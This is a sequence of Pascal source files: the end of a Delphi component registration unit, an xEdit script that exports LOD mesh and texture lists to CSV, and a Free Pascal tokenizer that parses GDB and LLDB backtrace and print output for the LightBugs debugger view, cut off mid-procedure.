RegisterPropertyEditor(TypeInfo(string), TWHForm2HTML,
'BGColor', THBGColorEditor);
RegisterComponents('HREF Tools', [TwhForm2HTML]);
end;
end.
|
{
Exports the list of records with LOD data, LOD meshes and used textures
}
unit ListLOD;
var
slLOD, slTex: TStringList;
procedure ParseLOD(rec, lod: IInterface);
var
i, j: integer;
ent: IInterface;
mesh, s: string;
begin
for i := 0 to 3 do begin
ent := ElementByIndex(lod, i);
mesh := GetElementEditValues(ent, 'Mesh');
if mesh = '' then Continue;
s := Format('%s;LOD %d;%s', [Name(rec), i, mesh]);
NifTextureList(ResourceOpenData('', 'meshes\' + mesh), slTex);
for j := 0 to Pred(slTex.Count) do
s := s + ';' + slTex[j];
slLOD.Add(s);
end;
end;
function Initialize: integer;
begin
slLOD := TStringList.Create;
slTex := TStringList.Create;
end;
function Process(e: IInterface): integer;
begin
if Signature(e) = 'STAT' then begin
e := WinningOverride(e);
if ElementExists(e, 'MNAM') then begin
ParseLOD(e, ElementBySignature(e, 'MNAM'));
Exit;
end;
end;
end;
function Finalize: integer;
var
dlgSave: TSaveDialog;
begin
if slLOD.Count > 0 then begin
dlgSave := TSaveDialog.Create(nil);
dlgSave.Options := dlgSave.Options + [ofOverwritePrompt];
dlgSave.Filter := 'CSV files (*.csv)|*.csv';
dlgSave.InitialDir := DataPath;
dlgSave.FileName := 'LOD Objects.csv';
if dlgSave.Execute then begin
AddMessage('Saving ' + dlgSave.FileName);
slLOD.SaveToFile(dlgSave.FileName);
end;
dlgSave.Free;
end;
slLOD.Free;
slTex.Free;
end;
end.
|
// Parser for "backtrace full" in GDB
// ParseBacktrace parses the "backtrace full" command for the main variables lists
// ParsePrint parses the reply of "print" for a variable, used for the single variable view (view 2) in LightBugs
// Some cleanup needed
// Important improvement 150727: ParsePrint improved to display class members properly.
{$mode fpc}
unit Backtrace;
interface
uses
LWPGlobals, UtilsTypes, // for StringArr
BetterFindUnit, SimpleParser; // for matching case
type
VarInfoRec = record
name, displayname: AnsiString; // "name" is what LLDB wants and "displayname" is what the user wants to see
value: AnsiString;
varType: AnsiString;
typeId: Longint; // array/pekare/record borde noteras
frameNumber: Longint;
end;
OutArrType = array of VarInfoRec;
// StringArr = array of String;
// Type numbers
const
kScalarOrUnknown = 0;
kArray = 1;
kPointer = 2;
kRecord = 3;
kObject = 4;
kStringPointer = 5;
procedure ParseBacktrace(backTrace: AnsiString; var outArr: OutArrType; var frameNames: StringArr);
function ParseVariable(s: AnsiString): AnsiString;
function ParseExpandVariable(s: AnsiString): AnsiString;
function GetAHexValue(s: AnsiString): AnsiString;
procedure ParsePrint(backTrace: AnsiString;
var outArr: OutArrType;
var scalarValue: AnsiString);
procedure ParsePrintLLDB(backTrace: AnsiString;
var outArr: OutArrType;
var scalarValue: AnsiString);
procedure RecordFingerPosition(editIndex, lineNumber: Longint);
// Needed by ParseVariablesLLDB!
procedure MatchCase(var theString: AnsiString);
implementation
const
kUnknownToken = 0;
kFrameNumberToken = 1;
kStartBracketToken = 2;
kEndBracketToken = 3;
kHexToken = 4;
kNumToken = 5;
kStringToken = 6;
kEqualToken = 7;
kPointerToken = 8;
kStartParenToken = 9;
kEndParenToken = 10;
kCommaToken = 11;
kCRLFToken = 12;
kInheritedToken = 13;
CR = Char(13);
LF = Char(10);
TAB = Char(9);
var
tokenName: array[0..13] of String = ('U',
'Frame number',
'Start bracket',
'End bracket',
'Hex',
'Number',
'String',
'Equal',
'Pointer',
'Start paren',
'End paren',
'Comma',
'Line break',
'Inherited');
var
bracketLevel, inheritedLevel: Longint;
gCurrentEditIndex: Longint;
gCurrentLineNumber: Longint;
isInherited: array[0..100] of Boolean;
procedure RecordFingerPosition(editIndex, lineNumber: Longint);
begin
gCurrentEditIndex := editIndex;
gCurrentLineNumber := lineNumber;
end;
// Search the file case insensitive for a match and copy the found data.
procedure MatchCase(var theString: AnsiString);
var
found: Longint;
begin
// Search for theString in the text of teEdit[gCurrentEditIndex] within the current function.
// Or current file just as a first test.
if gCurrentEditIndex < 0 then
Exit;
if teEdit[gCurrentEditIndex] = nil then Exit;
found := MyFind(teEdit[gCurrentEditIndex]^.text, theString,
1, Length(teEdit[gCurrentEditIndex]^.text), // Range - should be limited
false, true, true);
if found > -1 then
theString := Copy(teEdit[gCurrentEditIndex]^.text, found, Length(theString));
end;
procedure GetToken(s: AnsiString; var pos: Longint; var tokenType: Longint; var tokenValue: AnsiString);
var
tokenStart: Longint;
tempPos: Longint;
tempTokenType: Longint;
tempTokenValue: AnsiString;
begin
tokenValue := '***INVALID***';
if pos > Length(s) then
begin
tokenType := kUnknownToken;
tokenValue := '';
Exit;
end;
// if new row? bracketLevel = 0?
while pos <= Length(s) do
if s[pos] in [TAB, ' '] then
pos += 1
else
break;
if s[pos] in [CR, LF] then
begin
tokenType := kCRLFToken;
tokenValue := s[pos];
pos += 1;
Exit;
end;
if s[pos] = '#' then // Egentligen bara efter ny rad!
begin // frame number token
// Get numeric value
pos += 1;
tokenStart := pos;
tokenType := kFrameNumberToken;
while pos <= Length(s) do
if s[pos] in ['0'..'9'] then
pos+=1
else
break;
tokenValue := Copy(s, tokenStart, pos-tokenStart);
Exit;
end;
if s[pos] = '''' then
begin
pos += 1;
tokenStart := pos;
tokenType := kStringToken;
while pos <= Length(s) do
if s[pos] = '''' then
begin
// '' not supported yet
tokenValue := Copy(s, tokenStart, pos-tokenStart);
pos += 1;
Exit;
end
else
pos += 1;
// End of data - error
tokenValue := Copy(s, tokenStart, pos-tokenStart);
tokenType := kUnknownToken;
Exit;
end;
if s[pos] = '<' then
if pos < Length(s) then
if s[pos+1] = '>' then
begin
pos += 2;
tokenValue := '<>';
tokenType := kInheritedToken;
inheritedLevel += 1; // Levels to ignore
isInherited[bracketLevel+1] := true; // Next level is inherited data!
Exit;
end;
if s[pos] = '{' then
begin
bracketLevel += 1;
tokenType := kStartBracketToken;
tokenValue := '{';
pos += 1;
Exit;
end;
if s[pos] = '}' then
begin
if isInherited[bracketLevel] then inheritedLevel -= 1;
isInherited[bracketLevel] := false;
bracketLevel -= 1;
tokenType := kEndBracketToken;
tokenValue := '}';
pos += 1;
Exit;
end;
if s[pos] = '(' then
begin
bracketLevel += 1;
tokenType := kStartParenToken; // kStartParenToken?
tokenValue := '(';
pos += 1;
Exit;
end;
if s[pos] = ')' then
begin
bracketLevel -= 1;
tokenType := kEndParenToken; // kEndParenToken?
tokenValue := ')';
pos += 1;
Exit;
end;
if s[pos] = '[' then
begin
bracketLevel += 1;
tokenType := kStartBracketToken; // kStartParenToken?
tokenValue := '[';
pos += 1;
Exit;
end;
if s[pos] = ']' then
begin
bracketLevel -= 1;
tokenType := kEndBracketToken; // kEndParenToken?
tokenValue := ']';
pos += 1;
Exit;
end;
if s[pos] = '=' then
begin
tokenType := kEqualToken;
tokenValue := '=';
pos += 1;
Exit;
end;
if s[pos] = '^' then
begin
tokenType := kPointerToken;
tokenValue := '^';
pos += 1;
Exit;
end;
if s[pos] = ',' then
begin
tokenType := kCommaToken;
tokenValue := ',';
pos += 1;
Exit;
end;
if s[pos] in ['0'..'9', '-', '.'] then
begin
tokenStart := pos;
while pos <= Length(s) do
if s[pos] in ['0'..'9', 'e', 'E', 'x', 'a', 'b', 'c', 'd', 'f', '-', '.'] then
pos+=1
else
break;
tokenValue := Copy(s, tokenStart, pos-tokenStart);
tokenType := kNumToken;
if Length(tokenValue) > 1 then
if (tokenValue[1] = '0') and (tokenValue[2] = 'x') then // 0x = C-style hex
begin
tokenType := kHexToken;
// Kolla direkt om det Šr en AnsiString/strŠngpekare?
// Smartare - fšrenklar pŒ flera stŠllen!
tempPos := pos;
GetToken(s, tempPos, tempTokenType, tempTokenValue);
if tempTokenType = kStringToken then
begin
tokenType := kStringToken;
pos := tempPos;
tokenValue := tempTokenValue;
end;
end
else
tokenType := kNumToken;
Exit;
end;
// Unknown
tokenStart := pos;
while pos <= Length(s) do
if not (s[pos] in [' ', TAB, CR, LF, '}', ')', ']', '=']) then
pos+=1
else
break;
tokenValue := Copy(s, tokenStart, pos-tokenStart);
tokenType := kUnknownToken;
end;
procedure PreviewToken(backTrace: AnsiString; pos: Longint; var tokenType: Longint; var tokenValue: AnsiString);
var
oldBracketLevel: Longint;
begin
oldBracketLevel := bracketLevel;
GetToken(backTrace, pos, tokenType, tokenValue);
bracketLevel := oldBracketLevel;
end;
procedure GoToEndOfLine(var pos: Longint; backTrace: AnsiString);
var
inString: Boolean;
stringChar: Char;
begin
inString := false;
while pos <= Length(backTrace) do
if backTrace[pos] in [CR, LF] then
Exit
else
begin
if backTrace[pos] in ['''', '"'] then
begin
if not inString then
begin
inString := not inString;
stringChar := backTrace[pos];
end
else
if backTrace[pos] = stringChar then
inString := not inString;
end;
if not inString then
begin
if backTrace[pos] in ['(', '{', '['] then
bracketLevel += 1;
if backTrace[pos] in [')', '}', ']'] then
bracketLevel -= 1;
end;
pos += 1;
end;
end;
procedure ParseBacktrace(backTrace: AnsiString;
var outArr: OutArrType;
var frameNames: StringArr);
var
pos, tokenType, i: Longint;
tokenValue, tokenValue2, variableName: AnsiString;
currentFrame: Longint;
oldpos, oldbracketlevel: Longint;
procedure OutputVariable(variableName, tokenValue: AnsiString; typeId: Longint);
begin
SetLength(outArr, Length(outArr)+1);
outArr[High(outArr)].name := variableName;
MatchCase(variableName); // TEST!
outArr[High(outArr)].displayname := variableName;
outArr[High(outArr)].value := tokenValue;
outArr[High(outArr)].typeId := typeId;
outArr[High(outArr)].frameNumber := currentFrame;
WriteLn('Outouts ', variableName);
end;
procedure ParseArguments(var pos: Longint; backTrace: AnsiString);
var
tokenType: Longint;
tokenValue, variableName: AnsiString;
begin
WriteLn('*Entering ParseArguments*');
WriteLn('ParseArguments got: ', backTrace);
GetToken(backTrace, pos, tokenType, tokenValue);
if tokenType <> kStartParenToken then
WriteLn('Error, missing "("?');
// Get ( token
while pos <= Length(backTrace) do
begin
GetToken(backTrace, pos, tokenType, tokenValue);
if tokenType = kEndParenToken then // End of arguments
begin
GoToEndOfLine(pos, backTrace); // Rest of line tells file and line number
WriteLn('*End of ParseArguments from kEndParenToken*');
Exit;
end;
if tokenType = kUnknownToken then // variable name
begin
variableName := tokenValue;
GetToken(backTrace, pos, tokenType, tokenValue); // Should be =
GetToken(backTrace, pos, tokenType, tokenValue); // Value/address
if tokenType = kNumToken then // Save as value
begin
// Scalar variable!
WriteLn('Found scalar ', variableName, ' with value ', tokenValue);
OutputVariable(variableName, tokenValue, kScalarOrUnknown);
end
else
if tokenType = kHexToken then // addess - might be followed by string!
begin
WriteLn('Found pointer ', variableName, ' followed by ', tokenValue);
OutputVariable(variableName, '(pointer)', kPointer);
end
else
if tokenType = kStartBracketToken then // array or record
begin // Next is either value or unknown
// Save as array or record
WriteLn('Found arr/rec ', variableName);
OutputVariable(variableName, '(array or record)', kArray); // or kRecord
while bracketLevel > 1 do
GetToken(backTrace, pos, tokenType, tokenValue); // Skip to end of array/record
// Decide array or record here!
end
end
else
if tokenType = kCommaToken then
WriteLn('Comma found')
else
WriteLn('Unexpected ', tokenName[tokenType]);
end;
// Get variables until ) is found
// separated by comma
WriteLn('End of ParseArguments from end*');
end;
begin
// #0 = stack frame, ev med argument
// No locals. = ignoreras
// Annat = lokala variabler
// NAMN =
// { = array eller record, fšlj till }
// 0x00000 'zzzzz' = strŠng
// 000000 = numerisk skalŠr
// (^TYP) 0x0000 = pekare - kan vara komplex med fler parenteser
currentFrame := 0;
bracketLevel := 0;
inheritedLevel := 0;
pos := 1;
SetLength(outArr, 0);
SetLength(frameNames, 0);
while pos <= Length(backTrace) do
begin
GetToken(backTrace, pos, tokenType, tokenValue);
if bracketLevel = 0 then
begin
case tokenType of
kFrameNumberToken:
begin
GetToken(backTrace, pos, tokenType, tokenValue2);
if tokenType = kHexToken then
begin
GetToken(backTrace, pos, tokenType, tokenValue2); // in
GetToken(backTrace, pos, tokenType, tokenValue2); // name
end;
WriteLn('Frame ', tokenValue, ' with name ', tokenValue2);
// Output frame
SetLength(frameNames, Length(frameNames)+1);
frameNames[High(frameNames)] := tokenValue2;
Val(tokenValue2, currentFrame);
// Parsa argument hŠr
ParseArguments(pos, backTrace);
bracketLevel := 0; // BUG!!! Should be fixed better.
GoToEndOfLine(pos, backTrace);
end;
kUnknownToken:
begin
// Keep variable name
variableName := tokenValue;
// Get =
GetToken(backTrace, pos, tokenType, tokenValue);
if tokenType <> kEqualToken then
begin
if (tokenValue = 'locals.') or (tokenValue = 'symbol') then
WriteLn('No-line')
else
WriteLn('Error: Unknown format (', tokenValue, ' for ', variableName,')');
GoToEndOfLine(pos, backTrace);
end
else
begin
// Get number/"(", "{"
GetToken(backTrace, pos, tokenType, tokenValue);
case tokenType of
kStringToken:
begin
WriteLn(variableName, ' is a string with value ', tokenValue);
GoToEndOfLine(pos, backTrace);
OutputVariable(variableName, tokenValue, kStringPointer); // ej pointer, plain string?
end;
kNumToken: // Plain number
begin
WriteLn(variableName, ' is a number with value ', tokenValue);
OutputVariable(variableName, tokenValue, kScalarOrUnknown);
end;
kHexToken:
begin
WriteLn(variableName, ' is a pointer ', tokenValue);
GoToEndOfLine(pos, backTrace);
OutputVariable(variableName, '(pointer)', kPointer);
end;
kStartParenToken: // Pointer
begin
WriteLn(variableName, ' is a pointer');
GoToEndOfLine(pos, backTrace);
OutputVariable(variableName, '(pointer)', kPointer);
end;
kStartBracketToken: // array/record
begin
// Write(variableName, ' is an array or record. ');
// Peek on next token
PreviewToken(backTrace, pos, tokenType, tokenValue);
if (tokenType = kStartBracketToken) or (tokenType = kNumToken) then
begin
WriteLn(variableName, ' is an array');
OutputVariable(variableName, '(array)', kArray); // or kRecord
end
else
begin
WriteLn(variableName, ' is a record');
OutputVariable(variableName, '(record)', kRecord); // or kRecord
end;
GoToEndOfLine(pos, backTrace);
// OutputVariable(variableName, '(array or record)', kArray); // or kRecord
// Check next to decide!
end;
kUnknownToken:
begin
if (variableName = 'locals.') or (variableName = 'symbol') then
WriteLn('No-line') // Should never happen
else
WriteLn('Unknown format');
end;
end; // inner case
end;
// kStartParenToken:
// begin
// GetToken(backTrace, pos, tokenType, tokenValue2);
// if tokenType = kPointerToken then
// WriteLn(variableName, ' is a pointer');
// end;
end; // kUnknownToken
end;
// Flera fall:
// Frame nr + function name+ args (#1 FUNCTION(A=0))
// Variable name + value (A = 0)
// Variable name + (^ : pointer
// Variable name + { : array or record
// No : "No locals" eller "No symbol table info"
end;
// while (pos <= Length(backTrace)) and (bracketLevel > 0) do
// GetToken(backTrace, pos, tokenType, tokenValue)
// Output
// array of array of somedatarecord
end;
end; // ParseBacktrace
// Parse a single variable, global/print style. Can be several lines!
// Output to match variables list - brief!
function ParseVariable(s: AnsiString): AnsiString;
var
pos, tokenType, tokenType2, i: Longint;
tokenValue, tokenValue2, tokenValue3, variableName: AnsiString;
// info: VarInfoRec;
infovalue: AnsiString;
begin
pos := 1;
// info.name := '';
infovalue := '';
// info.typeId := -1;
GetToken(s, pos, tokenType, tokenValue); // Should be $number
// GetToken(s, pos, tokenType, tokenValue2); // Should be number
// GetToken(s, pos, tokenType2, tokenValue3); // Should be =
// if Copy(tokenValue, 1, 1) <> '$' then // $
if Length(tokenValue) > 0 then
if tokenValue[1] <> '$' then // $
begin
// info.name := '(none)';
infovalue := '(parse error)' + tokenValue;
// info.typeId := -1;
Exit(infovalue);
end;
// info.name := variableName;
GetToken(s, pos, tokenType, tokenValue); // Should be =
GetToken(s, pos, tokenType, tokenValue); // Number, hex, { - CAN ALSO BE ' FOR A STRING!
// WriteLn('tokenValue = ', tokenvalue);
if tokenType = kNumToken then
begin
infovalue := tokenValue;
// info.typeId := 0; // Number
Exit(infovalue);
end;
if tokenType = kHexToken then // Pointer
begin
tokenValue := '(pointer)';
infovalue := tokenValue;
// info.typeId := 0; // pointer
Exit(infovalue);
end;
if tokenType = kStartBracketToken then // Pointer or string
begin
GetToken(s, pos, tokenType, tokenValue); // number or {: array. unknown: record
if tokenType = kUnknownToken then
infovalue := '(record)'
else
infovalue := '(array)';
// info.typeId := 0; // String
Exit(infovalue);
end;
Exit(infovalue);
end;
// Parse a single variable, global/print style. Can be several lines!
// Output for expanded view, may also be several lines.
// Pump straight through with some filtering!
// {} -> ()
// Hex numbers: Removed
// = removed if nothing useful follows
function ParseExpandVariable(s: AnsiString): AnsiString;
var
pos, tokenType, i, prevTokenType: Longint;
tokenValue, tokenValue2, variableName, resultString: AnsiString;
begin
tokenType := -1; // Illegal, nonexistent
resultString := '';
pos := 1;
// Skip start
GetToken(s, pos, tokenType, tokenValue); // Should be $number
GetToken(s, pos, tokenType, tokenValue2); // Should be =
GetToken(s, pos, tokenType, tokenValue);
if tokenType = kHexToken then
begin
tokenValue := '$' + Copy(tokenValue, 3, Length(tokenValue)-2) + tokenValue2;
end
else
begin
if tokenValue = '{' then
tokenValue := '(';
end;
resultString := tokenValue;
while pos <= Length(s) do
begin
prevTokenType := tokenType;
GetToken(s, pos, tokenType, tokenValue);
if tokenType = kHexToken then
begin
// Ignore
end
else
begin
if tokenValue = '{' then
tokenValue := '(';
if tokenValue = '}' then
tokenValue := ')';
(* if tokenValue = '=' then
begin
GetToken(s, pos, tokenType, tokenValue);
if tokenType = kHexToken then // Next is : or string!
begin
GetToken(s, pos, tokenType, tokenValue);
if tokenType = kStringToken then
tokenValue := ' = ''' + tokenValue + ''''
else
tokenValue := ':';
end
else
begin
if tokenValue = '{' then
tokenValue := '(';
tokenValue := ' = ' + tokenValue;
end;
end;*)
if tokenValue <> ':' then
if tokenType = kUnknownToken then
if prevTokenType = kUnknownToken then
tokenValue := ' ' + tokenValue;
resultString += tokenValue;
end;
end;
Exit(resultString);
end;
function GetAHexValue(s: AnsiString): AnsiString;
var
pos, tokenType: Longint;
tokenValue: AnsiString;
begin
pos := 1;
while pos <= Length(s) do
begin
GetToken(s, pos, tokenType, tokenValue);
if tokenType = kHexToken then
Exit(tokenValue);
end;
Exit('');
end;
// Parses the reply from "print", called when a known variable should be
// displayed in field 2 (zoomed view).
procedure ParsePrint(backTrace: AnsiString;
var outArr: OutArrType;
var scalarValue: AnsiString);
var
pos, tokenType, i: Longint;
tokenValue, tokenValue2, variableName: AnsiString;
currentFrame: Longint;
oldpos, oldbracketlevel: Longint;
procedure OutputVariable(variableName, tokenValue: AnsiString; typeId: Longint);
begin
SetLength(outArr, Length(outArr)+1);
outArr[High(outArr)].name := variableName;
outArr[High(outArr)].value := tokenValue;
outArr[High(outArr)].typeId := typeId;
outArr[High(outArr)].frameNumber := currentFrame; // Irrelevant
WriteLn('Outputs "', variableName, '"');
end;
// $xx = ...
// SkalŠr: VŠrde
// AnsistrŠng: hex + vŠrde
// Array eller record: {}, parsa innehŒll till lista
// <>: Data under arv!
// Array och record i LLDB:
// (SMALLINT [6]) A = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// (<anonymous struct>) R = (X = 1, Y = 2, Z = 3)
// (<anonymous struct>) RR = {
// AA = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// BB = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
//}
// (€r dessa frŒn backtrace? Hur blir de med print?)
// Pekare: (RECTYPEPTR) $134 = 0x00000000
// SkalŠr: (SMALLINT) $135 = 0
// (REAL) $136 = 0
// medan under GDB, med print:
// (gdb) print r
// $1 = {
// X = 1,
// Y = 2,
// Z = 3
// }
// (gdb) print rr
// $2 = {
// AA = {0, 0, 0, 0, 0, 0},
// BB = {0, 0, 0, 0, 0, 0}
// }
// (gdb) print a
// $3 = {0, 0, 0, 0, 0, 0}
// SkalŠr:
// $1 = 0
// Pekare:
// $2 = 0x0
begin
currentFrame := 0;
bracketLevel := 0;
for i := 0 to 100 do
isInherited[i] := false;
// inheritedLevel := 0;
pos := 1;
SetLength(outArr, 0);
scalarValue := '';
GetToken(backTrace, pos, tokenType, tokenValue); // $nr
GetToken(backTrace, pos, tokenType, tokenValue); // =
GetToken(backTrace, pos, tokenType, tokenValue); // { eller fšrsta token i skalŠr
// GetToken(backTrace, pos, tokenType, tokenValue); // CR
WriteLn('Efter start: ', bracketLevel, ',', inheritedLevel);
// tokenType can be:
// kNumToken: Numerical scalar
// kStringToken: String
// kHexToken: hex, pointer. Hex followed by string is AnsiString, but that is found by GetToken!
// kStartBracketToken ({):
// This seems not to be needed
if tokenType = kCRLFToken then
GetToken(backTrace, pos, tokenType, tokenValue);
case tokenType of // CASE pŒ start!
kHexToken: // Pointer
begin
scalarValue := tokenValue;
end;
kNumToken: // Scalar number
begin
scalarValue := tokenValue;
end;
kStringToken: // String (not ansistring)
begin
scalarValue := tokenValue;
end;
kInheritedToken: // <> = { } - CAN NOT BE HERE!
begin
WriteLn('<> IMPOSSIBLE inheritance! ', inheritedLevel);
GetToken(backTrace, pos, tokenType, tokenValue); // Skip the =
end;
kStartBracketToken:
begin
// Status: records och array av scalar gŒr fint, arrayer av arrayer sŠmre.
while pos <= Length(backTrace) do // CENTRAL LOOP!
begin
GetToken(backTrace, pos, tokenType, tokenValue);
WriteLn(tokenName[tokenType], ', "', tokenValue, '"');
if tokenType = kInheritedToken then // Skip = {
begin
GoToEndOfLine(pos, backTrace);
// GetToken(backTrace, pos, tokenType, tokenValue); // =
// GetToken(backTrace, pos, tokenType, tokenValue); // {
WriteLn('<> inheritance! ', inheritedLevel);
end
else
if (tokenType = kUnknownToken) and (tokenValue = 'members') then // Skip "members of"
begin
GoToEndOfLine(pos, backTrace);
end
else
if (bracketLevel - inheritedLevel = 2) and (tokenType = kStartBracketToken) then
begin // Kan ge problem med records? Record i array?
PreviewToken(backTrace, pos, tokenType, tokenValue);
if tokenType = kCRLFToken then
begin
GetToken(backTrace, pos, tokenType, tokenValue);
PreviewToken(backTrace, pos, tokenType, tokenValue);
end;
WriteLn('Start of array at level 1 found? Next = ', tokenValue);
if tokenType = kUnknownToken then
OutputVariable('', '(record)', kRecord)
else
// OutputVariable('(array in array)', '(array)', kArray);
OutputVariable('', '(array)', kArray);
end
else
if bracketLevel - inheritedLevel = 1 then // Or check isInherited?
begin
//WriteLn('bracketLevel - inheritedLevel = 1');
case tokenType of
kNumToken, kStringToken:
begin
// Scalar in array/record?
WriteLn(tokenValue, ' is a string/scalar with value ', tokenValue);
// OutputVariable('(none, value = ' + tokenValue + ')', tokenValue, kScalarOrUnknown); // ej pointer, plain string?
OutputVariable('', tokenValue, kScalarOrUnknown); // ej pointer, plain string?
end;
kHexToken: // Pointer in array
begin
OutputVariable('', tokenValue, kPointer); // pointer
end;
kStartBracketToken:
begin
// Start of array. Collect values?
WriteLn('Start of array at level 1 found?');
OutputVariable('', '(array)', kArray);
end;
kUnknownToken:
begin
// Keep variable name
variableName := tokenValue;
// Get =
GetToken(backTrace, pos, tokenType, tokenValue);
if tokenType <> kEqualToken then
begin
if (tokenValue = 'locals.') or (tokenValue = 'symbol') then
WriteLn('No-line')
else
WriteLn('Error: Unknown format (', tokenValue, ' for ', variableName,')');
GoToEndOfLine(pos, backTrace);
end
else
begin
// Get number/"(", "{"
GetToken(backTrace, pos, tokenType, tokenValue);
case tokenType of
kStringToken:
begin
WriteLn(variableName, ' is a string with value ', tokenValue);
GoToEndOfLine(pos, backTrace);
OutputVariable(variableName, tokenValue, kStringPointer); // ej pointer, plain string?
end;
kNumToken: // Plain number
begin
WriteLn(variableName, ' is a number with value ', tokenValue);
OutputVariable(variableName, tokenValue, kScalarOrUnknown);
end;
kHexToken:
begin
GoToEndOfLine(pos, backTrace);
OutputVariable(variableName, '(pointer)', kPointer);
end;
kStartParenToken: // Pointer
begin
WriteLn(variableName, ' is a pointer');
GoToEndOfLine(pos, backTrace);
OutputVariable(variableName, '(pointer)', kPointer);
end;
kStartBracketToken: // array/record
begin
// Write(variableName, ' is an array or record. ');
// Peek on next token
PreviewToken(backTrace, pos, tokenType, tokenValue);
if (tokenType = kStartBracketToken) or (tokenType = kNumToken) then
begin
WriteLn(variableName, ' is an array');
OutputVariable(variableName, '(array)', kArray); // or kRecord
end
else
begin
WriteLn(variableName, ' is a record');
OutputVariable(variableName, '(record)', kRecord); // or kRecord
end;
GoToEndOfLine(pos, backTrace);
// OutputVariable(variableName, '(array or record)', kArray); // or kRecord
// Check next to decide!
end;
kUnknownToken:
begin
if (variableName = 'locals.') or (variableName = 'symbol') then
WriteLn('No-line') // Should never happen
else
WriteLn('Unknown format');
end;
end; // inner case
end;
end; // kUnknownToken
end;
end;
end; // while
end; // kStartBracketToken
otherwise
WriteLn('ERROR, can not parse variable');
end; // case
// Output
// array of array of somedatarecord
end; // ParsePrint
procedure RemoveCR(var s: AnsiString);
var
i: Longint;
begin
for i := Length(s) downto 1 do
begin
if s[i] in [TAB, CR, LF] then
s := Copy(s, 1, i-1) + Copy(s, i+1, Length(s));
end;
end;
// Parses the reply from "print", called when a known variable should be
// displayed in field 2 (zoomed view).
procedure ParsePrintLLDB(backTrace: AnsiString;
var outArr: OutArrType;
var scalarValue: AnsiString);
var
pos, tokenType, i: Longint;
tokenValue, tokenValue2, variableName, indexString: AnsiString;
currentFrame: Longint;
oldpos, oldbracketlevel: Longint;
// procedure CleanLLDBPrint(var s: AnsiString); // Obsolete
// var
// pos, tokenStart, tokenEnd, tokenType, start: Longint;
// tokenValue, typeString: AnsiString;
// const
// CR = Char(13);
// LF = Char(10);
// TAB = Char(9);
// begin
// // Remove (TYPE)
// // Remove $nn =
// pos := 1;
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue); // (
//// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// if tokenValue <> '(' then exit;
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, typeString); // type
//// WriteLn('CleanLLDBPrint found "', typeString, '"');
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue); // )
//// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// if tokenValue <> ')' then exit;
// // $nr = should NOT be removed... ParsePrint expects it!
// (*
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue); // $nr
// // Or two? One for $ and one for numbers?
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// SimpleParserGetToken(s, pos, tokenStart, tokenEnd, tokenType, tokenValue);
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
// if tokenValue <> '=' then exit(CleanLLDBPrint);
// *)
// start := pos+1;
// // Find CR
// while (pos < Length(s)) and not (s[pos] in [CR, LF]) do pos += 1;
// s := Copy(s, start, pos-start);
// // Then beautify numbers if needed. Too early?
// // BeautifyValue(s);
// end;
procedure OutputVariable(variableName, tokenValue: AnsiString; typeId: Longint);
begin
SetLength(outArr, Length(outArr)+1);
outArr[High(outArr)].name := variableName;
outArr[High(outArr)].value := tokenValue;
outArr[High(outArr)].typeId := typeId;
outArr[High(outArr)].frameNumber := currentFrame; // Irrelevant
WriteLn('Outputs "', variableName, '"');
end;
// $xx = ...
// SkalŠr: VŠrde
// AnsistrŠng: hex + vŠrde
// Array eller record: {}, parsa innehŒll till lista
// <>: Data under arv!
// Array och record i LLDB:
// (SMALLINT [6]) A = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// (<anonymous struct>) R = (X = 1, Y = 2, Z = 3)
// (<anonymous struct>) RR = {
// AA = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
// BB = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0)
//}
// (€r dessa frŒn backtrace? Hur blir de med print?)
// Pekare: (RECTYPEPTR) $134 = 0x00000000
// SkalŠr: (SMALLINT) $135 = 0
// (REAL) $136 = 0
// medan under GDB, med print:
// (gdb) print r
// $1 = {
// X = 1,
// Y = 2,
// Z = 3
// }
// (gdb) print rr
// $2 = {
// AA = {0, 0, 0, 0, 0, 0},
// BB = {0, 0, 0, 0, 0, 0}
// }
// (gdb) print a
// $3 = {0, 0, 0, 0, 0, 0}
// SkalŠr:
// $1 = 0
// Pekare:
// $2 = 0x0
// Record:
// (gdb) print r
// $1 = {
// X = 1,
// Y = 2,
// Z = 3
// }
var
typeString: AnsiString;
pos1: Longint;
begin
currentFrame := 0;
bracketLevel := 0;
for i := 0 to 100 do
isInherited[i] := false;
// inheritedLevel := 0;
pos := 1;
SetLength(outArr, 0);
scalarValue := '';
// Get past (TYPE). Can be several word in ()!
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // (
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
if tokenValue <> '(' then exit;
SimpleParserGetToken(backTrace, pos, tokenType, typeString); // type
// WriteLn('CleanLLDBPrint found "', typeString, '"');
while (tokenValue <> ')') and (pos < Length(backTrace)) do
begin
SimpleParserGetToken(backTrace, pos, tokenType, tokenValue); // )
// WriteLn('CleanLLDBPrint found "', tokenValue, '"');
end;
if tokenValue <> ')' then exit;
// Use SimpleParser for this?
GetToken(backTrace, pos, tokenType, tokenValue); // $nr
GetToken(backTrace, pos, tokenType, tokenValue); // =
GetToken(backTrace, pos, tokenType, tokenValue); // { eller fšrsta token i skalŠr
// GetToken(backTrace, pos, tokenType, tokenValue); // CR
// WriteLn('Efter start: ', bracketLevel, ',', inheritedLevel);
// tokenType can be:
// kNumToken: Numerical scalar
// kStringToken: String
// kHexToken: hex, pointer. Hex followed by string is AnsiString, but that is found by GetToken!
// kStartBracketToken ({):
// This seems not to be needed
if tokenType = kCRLFToken then
GetToken(backTrace, pos, tokenType, tokenValue);
case tokenType of // CASE pŒ start!
kHexToken: // Pointer
begin
scalarValue := tokenValue; // Beautify!
end;
kNumToken: // Scalar number
begin
